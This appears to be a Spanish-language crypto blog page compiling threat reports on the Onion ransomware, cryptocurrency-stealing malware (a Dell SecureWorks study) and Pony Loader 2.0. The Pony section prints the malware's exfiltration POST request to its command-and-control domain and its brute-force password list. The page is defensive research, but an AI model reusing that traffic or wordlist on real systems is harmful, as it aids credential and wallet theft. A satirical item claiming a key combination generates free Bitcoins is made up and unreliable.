Nuevo malware con rescate en Bitcoins

Nuevo malware secuestra información a cambio de Bitcoins tras agazaparse en Tor

El ransomware Onion ha comenzado a extenderse por diversos países, cifrando los datos de sus víctimas con técnicas realmente avanzadas, según advierte Kaspersky Lab.

El 29 de julio de 2014 por Mónica Tilves 0

No todos los ataques de ciberdelincuencia que se llevan a cabo son a través de phishing o de técnicas de ingeniería social. Otro recurso que se antoja efectivo para los maleantes es el ransomware.

Como sabéis, porque ya os lo hemos explicado otras veces, el ransomware es capaz de secuestrar dispositivos informáticos para pedir un rescate a cambio de su liberación. Una de sus variantes puede incluso cifrar los archivos personales de sus víctimas, justo lo que hace Onion.

¿Y qué es Onion? Se trata de la última amenaza de seguridad detectada por la compañía Kaspersky Lab. Su equipo de expertos sospecha que procede de Rusia, aunque su rastro se ha extendido ya desde las ex-repúblicas soviéticas hasta los Emiratos Árabes, Libia e Israel o incluso países europeos como Bulgaria y Alemania.

Lo más destacado de Onion es que, por un lado, usa la red de comunicaciones anónimas Tor para escondersey, por otra parte, pide que se pague el rescate en la moneda virtual Bitcoin. Además, activa una cuenta atrás que marca un plazo máximo de 72 horas para abonarlo, amenazando con que, de lo contrario, “todos los archivos se perderán para siempre”.

“Ocultar los servidores de comando y control en la red Tor complica la búsqueda de los ciberdelincuentes, y el uso de un esquema criptográfico poco ortodoxo hace que sea imposible el descifrado, incluso si se intercepta el tráfico entre el troyano y el servidor”, comentan desde Kaspersky.

“Todo esto, hace de Onion una amenaza muy peligrosa y uno de los cifradores más avanzados tecnológicamente que existen“, añade el analista Fedor Sinitsyn, cuyos compañeros ya consideran a Onion undigno heredero de CryptoLocker.

Donaciones

BTC:  1Eb6A6M3iH3eyX5Q7DVnvDWBLAmjKi3ae5

Bitcoins gratis

Descubren una combinación de teclas para conseguir Bitcoins gratis

Un grupo de hackers ucranianos ha encontrado una combinación de teclas que permite conseguir Bitcoins gratis. Su dificultad ha llenado los hospitales de Kiev de informáticos con graves lesiones de muñeca.

Unos hackers ucranianos que operan bajo el nombre de "The Mega Mans" han logrado descubrir una combinación de teclas mediante la cual conseguir Bitcoins gratis. Leído puede resultar muy "jugoso" o interesante, pero detrás de esta práctica se esconden lesiones de muñeca irrecuperables y otros dramas familiares.

Fue descubierto por Edward Melted, un hacker ucraniano
El "truco" fue descubierto por un hacker de Kiev llamado "Edward Melted", quien frustrado por no conseguir descifrar las claves de la Wi-Fi de su vecino mediante una distribución de Linux, comenzó a probar combinaciones de teclas imposibles. La gran sorpresa llegó cuando se dio cuenta de que estaba generando Bitcoins sin ningún tipo de control.

El primer impulso de Melted fue llamar a su ex novia para contárselo, pero tal y como reporta The Mal Street Journal, decidió ir al local que The Mega Mans comparten y contarle al resto de integrantes su hallazgo. Al intentar repetir esas combinaciones de teclas llegaron las primeras lesiones. La noticia se esparció rápido y *los hospitales de la ciudad comenzaron a llenarse de informáticos con esguinces de muñeca severos, algo que no se veía desde el lanzamiento de Starcraft I.

Conseguimos encontrar la famosa combinación de teclas, pero no nos hacemos responsables de los daños que pueda ocasionar en los lectores. Por desgracia, las computadoras actuales saben detectar si lo hace una persona o varias, así que tendréis que intentarlo vosotros solos:

- Control + ESC + F12 + Asterisco (con la mano izquierda)

- Flecha arriba + F3 + R + Z (con la mano derecha)

En el vídeo superior podéis ver a un miembro de los Mega Mans intentando la combinación de teclas con escasos resultados. Por el momento no ha llegado ningún comunicado oficial por parte de Coin Farrell, el responsable directo de esta moneda virtual. Lo que está claro es que este descubrimiento hará tanto al Bitcoin como a las extremidades de muchos hackers con ambiciones monetarias.




Donaciones

BTC:  1Eb6A6M3iH3eyX5Q7DVnvDWBLAmjKi3ae5

Una visión sobre los códigos maliciosos para robar criptomonedas

Cryptocurrency-Stealing Malware Landscape

• Author: Pat Litke and Joe Stewart with assistance from Ben Small, Dell SecureWorks Counter Threat Unit(TM) Threat Intelligence
• Date: 26 February 2014

Introduction

Bitcoin, a digital currency and payment system introduced in 2009, has been subject to an increasing amount of attention from thieves. Although the system itself is protected by strong cryptography, thieves have stolen millions of dollars of bitcoin[i] from victims by exploiting weaknesses in Bitcoin private key storage systems.

Since Bitcoin's introduction, an increasing number of alternative digital currencies (altcoins) have been created, based on the original Bitcoin client's source code. Even though none of these altcoins have approached the per-coin value of Bitcoin, some have achieved total market caps measuring in the millions of dollars. As a result, these altcoins have also been targeted for theft.

Mass theft of cryptocurrency is usually accomplished through the hacking of exchanges or marketplaces. These thefts are typically well-publicized, and the total number of stolen coins is known. However, another category of Bitcoin theft targets individual users' wallets or exchange accounts via malware such as general-purpose remote access trojans (RATs) or specialized cryptocurrency-stealing malware (CCSM). Due to the skyrocketing value of cryptocurrencies since the beginning of 2013 and the relative simplicity of coding malware and tools to steal cryptocurrency, the Dell SecureWorks Counter Threat Unit(TM) (CTU) research team predicts that CCSM will become one of the fastest-growing categories of malware.

CCSM classification project

To understand the scope of this new threat, CTU researchers embarked on a project to obtain and classify as many CCSM samples as possible. Researchers scanned incoming malware streams with YARA rules, searching for samples that refer to known cryptocurrency software wallet filenames and locations. These samples were classified into families based on similarity. As of this publication, there are more than 100 unique families of malware on the Internet with functionality to steal wallet files or to steal cryptocurrency using other means.

Overall trends

Figure 1 shows the increase in the Windows-compatible CCSM over time. This chart tracks only Windows malware because the Windows portable executable format includes a timestamp in the file headers showing exactly when the malware was compiled. Most malware authors do not bother to alter this timestamp post-release, so it a reasonable and reliable indicator of when a particular sample was created. This chart shows the relationships between average monthly Bitcoin price, new family emergence, and overall total number of families. These variables show a correlation between malware emergence and the price (acceptance) of the currency.

Figure 1. The correlation between Bitcoin price, new malware emergence, and total threat of cryptocurrency-stealing malware. (Source: Dell SecureWorks)

The trend shown in Figure 1 closely follows the overall price trend of Bitcoin. As Bitcoin has become more valuable, more malware authors are targeting it. The record-breaking highs in Bitcoin value from the end of 2013 into 2014 have been accompanied by record-breaking numbers of new CCSM families.

Popularity of coins in CCSM

All CCSM analyzed by CTU researchers targeted Bitcoin. Figure 2 shows the distribution of CCSM-targeted altcoins between January 2009 and the middle of February, 2014.

Figure 2. The distribution of altcoins targeted by CCSM between January 2009 and mid-February, 2014. (Source: Dell SecureWorks)

Figure 3 shows the overall ratio of samples belonging to each malware family. A few malware families seem to be in widespread distribution, while others may have only one or two variants. The "Unclassified" group represents cryptocurrency malware that CTU researchers have not classified as of this publication. The "Miscellaneous" group includes the cryptocurrency malware families the CTU research team has discovered that would not fit into the chart.

Figure 3. The overall ratio of discovered samples belonging to each malware family. (Source: Dell SecureWorks)

CCSM categories

Wallet stealer

The most common type of CCSM is the wallet stealer, a category that includes nearly every family of CTU-analyzed CCSM. This type of malware searches for "wallet.dat" or other well-known wallet software key storage locations, either by checking known file locations or by searching all hard drives for matching filenames. Typically, the file is uploaded to a remote FTP, HTTP, or SMTP server where the thief can extract the keys and steal the coins by signing a transaction, transferring the coins to the thief's Bitcoin/altcoin address.

Most cryptocurrency security guides recommend protecting the wallet with a strong passphrase, preventing the thief from decrypting and using the private keys if the file is stolen. To counter this protection, many of the analyzed wallet-stealer malware families use a keylogger or clipboard monitor to obtain the wallet file's passphrase and send it to the thief.

Credential stealer

Many wallet-stealer families also steal credentials for various web-based wallets, such as Bitcoin exchanges. Some individuals keep a significant amount of bitcoin or other currency in exchanges to trade on price movements. Malware authors are aware of this activity, and many victims have reported that their exchange wallets were emptied without their authorization. In most cases, it is impossible to know exactly what malware was used in the theft, because a full forensic analysis of the victim's hard drive is rarely performed.

Many exchanges have implemented two-factor authentication (2FA) using one-time PINs (OTP) to combat unauthorized account logins. However, advanced malware can easily bypass OTP-based 2FA by intercepting the OTP as it is used and creating a second hidden browser window to log the thief into the account from the victim's computer. Simultaneously, the malware displays a fake "authentication failed" message and blocks the victim's access to the website while the thief empties the account. CTU researchers have not observed a verified example of this type of attack against cryptocurrency exchanges. However, this technique has been successfully used against online banking sites for several years, and it is only a matter of time before CCSM uses this approach.

Man in the middle

CTU researchers have observed at least one family of CCSM that does not exfiltrate wallet files or private keys. Instead, it acts as a "man in the middle," altering the recipient address of a transaction before it is signed. The observed sample runs in the background, monitoring the contents of the clipboard. The malware checks new data in the clipboard for a valid Bitcoin address. If the data is a valid address, the malware replaces it with the thief's Bitcoin address. Victims who do not notice the replacement send the bitcoins to the thief.

RPC automation

Bitcoin and altcoin "reference client" software includes remote procedure call (RPC) functionality, which allows another program to interact with the wallet software. In many cases, a thief with access to this functionality could connect to a running client on a local TCP port and steal the balance of an unencrypted wallet using only two commands (three if the wallet is encrypted and the malware has obtained the passphrase). CTU researchers have not witnessed any CCSM malware taking advantage of this technique as of this publication. It would be difficult to detect this type of theft from a network standpoint, as the transaction would look like any authorized transaction. Another advantage to this technique is that it requires no external command and control (C2) or exfiltration server that can be shut down or blocked.

Detection rates

Across the CCSM samples analyzed by CTU researchers, the average unweighted detection rate across all major antivirus (AV) vendors was 48.9%. Figure 4 lists the major CCSM families classified by the CTU research team and their respective detection rates averaged across all major AV vendors.

Figure 4. Top CCSM families and their detection rate across AV vendors as of February 20, 2014. (Source: Dell SecureWorks)

Wallet protection

Client software choices

When the private keys for a cryptocurrency are stored on a computer connected to the Internet, the potential for theft exists. For Bitcoin there are alternative wallets, such as Armory and Electrum, which can protect against theft-by-malware by using a split arrangement for key storage. One computer, disconnected from any network, runs a copy of the software and holds the private key that can sign transactions. A second computer connected to the Internet holds only a master public key of which addresses belong to the offline wallet. This computer can generate transactions, but it cannot sign them because it does not have the private key. A user wishing to transfer coins generates an unsigned transaction on the online computer, carries the transaction to the offline computer, signs the transaction, and then carries it to the online computer to broadcast the transaction to the Bitcoin network.

Using a split Armory or Electrum wallet can make processing transactions much safer, although the user must still verify the transaction details to ensure malware on the online computer has not altered the transaction before it is signed. Unfortunately, no such clients currently exist for altcoins, although the need for them is recognized and bounties have been offered for their development.

Hardware wallets

Using two computers in a split arrangement where transactions are carried via "sneakernet" is relatively secure, but the logistics are complicated. A much more convenient method would be to use a dedicated hardware device to store the private keys and verify transactions without the possibility of theft. These devices are already in development, with one (the "Trezor" wallet) due to be shipped within the first quarter of 2014.

Transaction integrity verification

Hardware wallets work well for local transactions but not for safely interacting with a remote website on a potentially infected computer. Securely verifying a transaction that has transited a potentially compromised waypoint requires an offline device that can display the details of the transaction before it is processed. Public-key cryptography signs the transaction data on the bank's server before the data is sent to the user. The offline device can verify the signature of the transaction and determine if any changes occurred in transit. If the transaction shows no tampering, the offline device generates a one-time code that authenticates the transaction. This transaction integrity verification (TIV) should become standard for all financial entities, including institutions and sites that accept cryptocurrencies.

Conclusion

After observing CCSM, CTU researchers drew the following conclusions:

• Encrypting the wallet file is ineffective against malware that uses keyboard or clipboard logger functionality.
• Two-factor authentication is ineffective against malware that uses modern banking malware techniques.
• Antivirus is mostly ineffective against newly created malware, especially one-off, customized, single-file stealers.
• On an infected system, the malware can do anything a user can do. It can pretend to be the user to a remote website, and it can pretend to be the remote website to the user.

As discussed in Enterprise Best Practices for Cryptocurrency Adoption, wallet security is the most pivotal aspect to keeping funds secure. Implementing the practices outlined in that publication will mitigate most, if not all, of the current threats to cryptocurrency wallets.

Appendix

Table 1 lists the most commonly observed malicious filenames in the CTU research team's sample set.

1.exe	11.exe	111.exe	112.exe
12.exe	123.exe	141.exe	1414.exe
20-Jun-11-00f09f5e0c195e8-Cam.exe	4.exe	45.exe	aa.exe
aaa.exe	admin.exe	amin.exe	as.exe
asd.exe	Asphyxia v8.0.exe	Asphyxia v9.0.exe	Auto-Proxy Locator v1.0 - www.WizNest.info.exe
Bitcoin.exe	Bitcoin_Generator.exe	Bitcoin_s.exe	Bitcoin-generator.exe
Clash Of Clans Hack.exe	Clash of Clans Hack.exe	done.exe	ds.exe
etheretdriver.exe	ethernetdriv1er.exe	ethernetdriver.exe	ethernetdriver11.exe
file-3831235_exe	file-3831251_exe	file-6441495_exe	file-6441496_exe
file-6459250_exe	file-6459258_exe	GameMasterStory v111.exe	GPU_Cluster_Miner.exe
GPUClusterMiner.exe	GuiMiner.exe	Hinjector109.exe	HinjectorV109.exe
iMiner.exe	Install.exe	install.exe	keygen.exe
Keygen.exe	lan.exe	ll.exe	lol.exe
microsoft.exe	Microsoft.exe	Minecraft Brute Toolkit.exe	Minecraft.exe
MinecraftSP.exe	Miner.exe	minerd64_sse2.exe	minerd64_sse3.exe
ms.exe	mz_74.exe	nacl64.exe	NSWallet.exe
octworm.exe	one.exe	pi.exe	pic.exe
po.exe	pro.exe	pror.exe	Rs DDoSer ~RsMultiHackTeam.exe
RsboxingDdos2.exe	RsboxingDdos3.exe	rsdf.exe	Run_wind.exe
Runescape Money Hack (1).exe	Runescape Money Hack.exe	s.exe	sample.exe
samples.exe	sdf.exe	serve2r.exe	server t.exe
server.exe	server1.exe	Shad's Billionaire Guide.exe	sof.exe
soft.exe	srvhost.exe	steal.exe	Steal.exe
stealer.exe	Stealer.exe	stealer1.exe	stealerr.exe
steam.exe	stub.exe	stub2.exe	svchost.exe
test.exe	test1.exe	test123.exe	ustream.exe
VIDEOMAKERpro.exe	view bot.exe	w.exe	Wallet.exe
Windows Update.exe	WindowsUpdate.exe	Winupdate.exe	winupdate.exe
wlan.exe	worm.exe	wormz.exe	ws.exe
ws1.exe	ws4.exe	ww.exe

Table 1. Common filenames in malware samples.

Endnotes

[i] Bitcoin (capitalized) refers to the protocol, software, and community, while bitcoins (lowercase) are currency units.

Donaciones

BTC:  1Eb6A6M3iH3eyX5Q7DVnvDWBLAmjKi3ae5

Alerta de virus en Wallets

Pony Loader 2.0 roba billeteras virtuales como Bitcoin y Litecoin

El troyano conocido como Pony o Fareit fue rediseñado: después de que su código fuente se pusiera a la venta, Pony Loader 2.0 roba credenciales de diversas billeteras virtuales y las envía a un servidor remoto.

 Hace poco tiempo, este troyano que también se ha utilizado para propagar Zeus y Cryptolocker, fue rediseñado para robar billeteras virtuales. Esto no es del todo sorprendente si tenemos en cuenta que el código fuente de Pony Loader 2.0 había sido puesto en venta en mayo de este año.

Las billeteras que esta amenaza tiene como blanco incluyen a Bitcoin, Litecoin, MultiBit, Namecoin, Terracoin, Primecoin, Feathercoin, NovaCoin, MegaCoin, Digitalcoin, Zetacoin, Fastcoin, Tagcoin, Bytecoin, Florincoin, and Luckycoin, y muchas otras figuran en el listado publicado por investigadores de seguridad de Damballa.

Pony Loader 2.0 mantiene su capacidad para robar contraseñas y propagar otros tipos de malware, y contiene una lista de palabras que se utilizan para ejecutar ataques de fuerza bruta en cuentas de usuarios, según la publicación de Damballa. Estas palabras fueron tomadas de listados publicados anteriormente después de ataques a diversos servicios, y se agregaron las siguientes:

1234567890
administrator
Administrator
billgates
gates
gfhjkm
ghbdtn
guest
Guest
helpassistant
HelpAssistant
mustdie
windows

Se cree que los comerciantes del código malicioso son de Rusia, y que están ofreciendo funcionalidades adicionales relacionadas a mejoras en la recolección de credenciales.

El troyano puede infectar a los usuarios a través de enlaces maliciosos en correos electrónicos o exploit kits, por lo que les recomendamos estar alertas para no caer víctimas de esta amenaza. La recomendación de Bitcoin es actualizar a las versiones más recientes del cliente, que incorporan un sistema para cifrar con contraseña las claves privadas contenidas en el monedero.

Pony Loader 2.0 Steals Credentials and Bitcoin Wallets: Source Code for Sale

Pony Loader malware has been around for years. The source code for version 1.9 was leaked on the Internet, giving criminals the opportunity to modify it to their liking. Recently, Damballa’s Threat Research team observed Pony Loader version 2.0. This variant, which ups the potential payday for criminals, is also up for sale.

On May 28, 2014, the Damballa Threat Research team obtained an unknown malware sample for analysis. After performing an initial analysis, we observed HTTP traffic to the domain 602ef0b0[.]pw, which was hosted at CloudFlare global CDN (content delivery network). CloudFlare is a legitimate network used to ensure the availability and security of websites. Malware authors commonly attempt to host their malware using known, trusted infrastructure in an effort to avoid detection and make their traffic more difficult to identify and block.

Pony Loader, also referred to as Fareit, has been used over the past several years and has the ability to steal sensitive information from a victim’s computer and install additional malware. This may include stored credentials for email, web and FTP accounts. In the past, Pony has been used to distribute the P2P Gameover Zeus Trojan.

The Pony source code has been leaked on the Internet (version 1.9), which allows anyone to obtain the source and modify it for use in an attack campaign. Upon execution of this binary, we observed the following HTTP POST request sent to the command and control server:

===========================================================================

POST /llfrty.php HTTP/1.0

Host: 602ef0b0.pw

Accept: */*

Accept-Encoding: identity, *;q=0

Accept-Language: en-US

Content-Length: 375

Content-Type: application/octet-stream

Connection: close

Content-Encoding: binary

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;

InfoPath.2; .NET CLR 2.0.50727)

..6.,..D…a.;@.Q..q1O%.=..Y.n.n…….U..

.2.XI\.!…….^”…/.SU.%…^.$..0…..R<.u..e.a..k.i….Z.g…A.H….b……Db.N

……..CD….=l….+._i`.l.%…….o#.`.MW.l.o.2. %x.I…-..m……….>..;.n..Q..:.9…*…3b……a”8V.S…

…9…kSN.7>.[6..C..r.aSF.....Ly\.T.9..........H.oF7(T.(.#.M...P(.....`$.....1.\2..

{......P|<Z%......v.m[.Y....g..s.3U_N

n.|.WB...`..?...A

===========================================================================

After identifying this malware as Pony / Fareit, we posted some initial information to a security mailing list. CloudFlare analysts were able to identify and suspend the account, preventing future C2 communications at the listed domain.

This version of Pony is not just the old dropper and credential stealer that has been seen with version 1.9.  This Pony Loader sample had been updated to steal a victim's bitcoin wallet as well.  This particular version is being sold on the criminal market as Pony Loader version 2.0.

This version was listed for sale in May 2014.  However, Pony Loader 2.0 has been circulating on the Internet since early 2014.  Now that the source is listed for sale, Damballa Researchers expect to see an increase in this type of bitcoin stealing malware with customized capabilities.

Pony Loader 1.9 contains a wordlist used to brute-force user accounts on a victim's computer that is also present in version 2.0. The attackers obtained the password list from some of the top passwords associated with several database hacks.  The password list was obtained from:

http://blog.jimmyr.com/Password_analysis_of_databases_that_were_hacked_28_2009.php

Several passwords were added to this list:

1234567890

administrator

Administrator

billgates

gates

gfhjkm

ghbdtn

guest

Guest

helpassistant

HelpAssistant

mustdie

windows

The wordlist is used to enumerate local passwords with the LogonUserA Windows API call.

The criminals attempting to sell the source code for Pony 2.0 advertise the bitcoin programs that are targeted in the updated version.  Damballa has verified the following list of bitcoin software in Pony version 2.0:

Electrum, MultiBit, Litecoin, Namecoin, Terracoin, Bitcoin Armory, PPCoin (Peercoin), Primecoin, Feathercoin, NovaCoin, Freicoin, Devcoin, Frankocoin, ProtoShares, MegaCoin, Quarkcoin, Worldcoin, Infinitecoin, Ixcoin, Anoncoin, BBQcoin, Digitalcoin, Mincoin, Goldcoin, Yacoin, Zetacoin, Fastcoin, I0coin, Tagcoin, Bytecoin, Florincoin, Phoenixcoin, Luckycoin, Craftcoin, Junkcoin and the original Bitcoin client.

In addition, the sellers are marketing additional features and 'upgrades' as follows - Russian to English translation:

[+] Implemented collection of Ya.Browser passwords, FTP Disk, new versions of Opera (code-based Chrome)

[*] When the program on behalf of the user SYSTEM (service Windows) will now run the loader file as an active session (logged on) Users

[*] Improved collect passwords Firefox, is no longer dependent on the availability of libraries SQLite3

[+] Optional redundant bootloader mode: if successfully loaded the first file – the rest will be skipped

[+] Added option to disable the collection of passwords (just leave the loader)

[-] Fixed processing SQLite3 files for Chrome / Firefox containing 48 bit integers

[-] Fixed a serious bug in several functions, which could lead to errors in the collection of passwords and reach program

Implemented instantaneous decoding of saved passwords for the following programs:

FAR Manager	FTPGetter	Pocomail
Total Commander	ALFTP	IncrediMail
WS_FTP	Internet Explorer	The Bat!
CuteFTP	Dreamweaver	Outlook
FlashFXP	DeluxeFTP	Thunderbird
FileZilla	Google Chrome	FastTrackFTP
FTP Commander	Chromium / SRWare Iron	Bitcoin
BulletProof FTP	ChromePlus	Electrum
SmartFTP	Bromium (Yandex Chrome)	MultiBit
TurboFTP	Nichrome	FTP Disk
FFFTP	Comodo Dragon	Litecoin
CoffeeCup FTP / Sitemapper	RockMelt	Namecoin
CoreFTP	K-Meleon	Terracoin
FTP Explorer	Epic	Bitcoin Armory
Frigate3 FTP	Staff-FTP	PPCoin (Peercoin)
SecureFX	AceFTP	Primecoin
UltraFXP	Global Downloader	Feathercoin
FTPRush	FreshFTP	NovaCoin
WebSitePublisher	BlazeFTP	Freicoin
BitKinex	NETFile	Devcoin
ExpanDrive	GoFTP	Frankocoin
ClassicFTP	3D-FTP	ProtoShares
Fling	Easy FTP	MegaCoin
SoftX	Xftp	Quarkcoin
Directory Opus	FTP Now	Worldcoin
FreeFTP / DirectFTP	Robo-FTP	Infinitecoin
LeapFTP	LinasFTP	Ixcoin
WinSCP	Cyberduck	Anoncoin
32bit FTP	Putty	BBQcoin
NetDrive	Notepad + +	Digitalcoin
WebDrive	CoffeeCup Visual Site Designer	Mincoin
FTP Control	FTPShell	Goldcoin
Opera	FTPInfo	Yacoin
WiseFTP	NexusFile	Zetacoin
FTP Voyager	FastStone Browser	Fastcoin
Firefox	CoolNovo	I0coin
FireFTP	WinZip	Tagcoin
SeaMonkey	Yandex.Internet / Ya.Browser	Bytecoin
Flock	MyFTP	Florincoin
Mozilla	sherrod FTP	Phoenixcoin
LeechFTP	NovaFTP	Luckycoin
Odin Secure FTP Expert	Windows Mail	Craftcoin
WinFTP	Windows Live Mail	Junkcoin
FTP Surfer	Becky!

See original postings on pastebin.com here:

http://pastebin.com/k96W1bPy

http://pastebin.com/mmJxpXSp

The builder is still being marketed with the source code and makes creating the virus possible using only a few mouse clicks:

Damballa Threat Researchers are continuing to investigate the use of this malware on the Internet. Given the capability to steal stored credentials from a wide variety of software, users should consider storing their passwords and bitcoin private keys using these programs risky.

“Your wallet.dat file is not encrypted by the Bitcoin program by default but the most current release of the Bitcoin client provides a method to encrypt with a passphrase the private keys stored in the wallet. Anyone who can access an unencrypted wallet can easily steal all of your coins. Use one of these encryption programs if there is any chance someone might gain access to your wallet.” – https://en.bitcoin.it/wiki/Securing_your_wallet#General_Solutions

More references:
https://en.bitcoin.it/wiki/Securing_your_wallet#Password_Strength
https://en.bitcoin.it/wiki/Wallet

Indicators:

143c9261b19118863882a2e9793d0840 – MD5 hash
602ef0b0.pw – Domain

– Isaac Palmer,
     Malware Reverse Engineer

Donaciones

BTC:  1Eb6A6M3iH3eyX5Q7DVnvDWBLAmjKi3ae5